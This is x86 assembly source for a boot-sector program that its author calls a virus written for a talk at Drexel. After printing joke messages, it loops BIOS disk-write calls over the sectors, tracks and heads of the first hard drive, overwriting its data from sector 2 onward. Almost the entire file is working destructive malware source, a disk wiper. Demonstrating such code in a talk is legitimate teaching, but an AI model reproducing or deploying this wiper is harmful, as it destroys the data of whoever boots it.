bootloader virus that I wrote for a talk at Drexel

virus.asm

_Text SEGMENT PUBIC USE16
  org 0

EntryPoint:
  jmp 0x07C0:START

  bootMsg db 'Feed me disk sectors, AH AM HUNGRAH',10,13,0
  allYourBase db 10,13,'BUUUUURP :-d',10,13,0
  om db 'om ', 0
  nom db 'nom ', 0

START:
  
  ; update DS to be 7C0 instead of 0
  push	  CS
  pop     DS

  ; update ES also
  push	  CS
  pop     ES


  ; create stack
  mov     ax, 0x0000
  mov     ss, ax
  mov     sp, 0xFFFF

  ; print out the boot message
  lea si, [bootMsg]
  call Print

  call EatData

  lea si, [allYourBase]
  call Print

  jmp AllDone

;************************************************************
;	Procedure print
;	prints a zero terminated string pointed to by si
;************************************************************
Print:
    push ax
    mov ah, 14     ;    BIOS code for screen display
    cld
print_loop:
    lodsb          ;    moving the character to be displayed to al
    or al, al      ;    checking if the char is NULL
    jz printdone
    int 10h        ;    Calling BIOS routine
    JMP print_loop
printdone:
    pop ax
    ret
;   End of print procedure...


EatData:
    push ax
    push bx
    push cx
    push dx

    lea si, [om]
    call Print

    ; start at sector 2 so that we don't overwrite the boot sector
    mov cl, 2 ;sector number

    mov al, 1 ;num sectors
    mov bx, 0x0 ;pointer to buffer
    mov ch, 0 ;track
    mov dh, 0 ;head
    mov dl, 0x80; drive
    
  EatLoop:
    mov ah, 0x03 ;BIOS write
    int 0x13

    inc cl    ;increment the sector number, up until 17
    cmp cl, 18  
    jne EatLoop

    mov cl, 1 ; move to the next start sector of the next track and cylinder
    inc ch ; next track
    cmp ch, 255 ; should be allowed to go up to 1023 (thus check 1024) but 
                ;this exceeds what can be stored in a byte 
    jne EatLoop

    lea si, [nom]
    call Print

    mov ch, 0
    inc dh
    cmp dh, 16 ;these are set to one more than the max allowed
    jne EatLoop
 
    pop dx
    pop cx
    pop bx
    pop ax

    ret

AllDone:
    times 510-($-$$) db 0
    dw 0aa55h